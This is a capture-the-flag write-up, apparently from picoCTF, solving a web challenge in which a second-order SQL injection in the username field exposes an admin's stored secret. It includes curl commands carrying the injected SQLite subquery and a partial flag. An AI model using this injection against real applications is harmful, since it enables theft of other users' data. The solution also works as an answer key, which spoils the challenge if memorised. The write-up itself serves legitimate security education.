Secret Box

Published: March 20, 2026

Description

This secret box is designed to conceal your secrets. It's perfectly secure -- only you can see what's inside. Or can you? Try uncovering the admin's secret.

Launch the challenge instance and open the web application.

Register an account to explore how secrets are stored.

Solution

  1. Step 1Identify the injection point
    The application stores secrets associated with users. When a secret is created, the owner's username is used in the SQL query via string concatenation -- this is the injection vector. Register a new account with a malicious username containing a SQL payload.
  2. Step 2Register with a SQL injection payload as your username
    Use a username that, when inserted into the 'secrets' query, causes the SQL to read the admin's secret instead of yours. The payload uses SQLite's string concatenation operator (||) to inject a subquery reading from the secrets table.
    # Register with this username (URL-encode the spaces and quotes):
    curl -c cookie.jar -d "username=' || (SELECT content FROM secrets WHERE owner_id='e2a66f7d-2ce6-4861-b4aa-be8e069601cb' LIMIT 1) || '&password=test123" \ http://<HOST>:<PORT_FROM_INSTANCE>/register
    # Note: you may need to enumerate the admin's owner_id first
    # Try registering normally, then observe how your own secret's owner_id appears
  3. Step 3Trigger the injection and read the admin's secret
    After registering with the malicious username, log in and create a secret. When the app builds the SQL query with your username, the injected subquery runs and returns the admin's secret content (which contains the flag) instead of your own.
    curl -b cookie.jar -d 'content=anything' http://<HOST>:<PORT_FROM_INSTANCE>/secrets/create
    curl -b cookie.jar http://<HOST>:<PORT_FROM_INSTANCE>/secrets
    # The flag appears in the 'content' field of your created secret

Flag

picoCTF{s3cr3t_b0x_0p3n3d_...}

Second-order SQL injection via the username field. The username is stored then inserted unsanitised into the secrets query. A subquery `(SELECT content FROM secrets WHERE owner_id='<admin-uuid>' LIMIT 1)` extracts the admin's flag when a secret is created.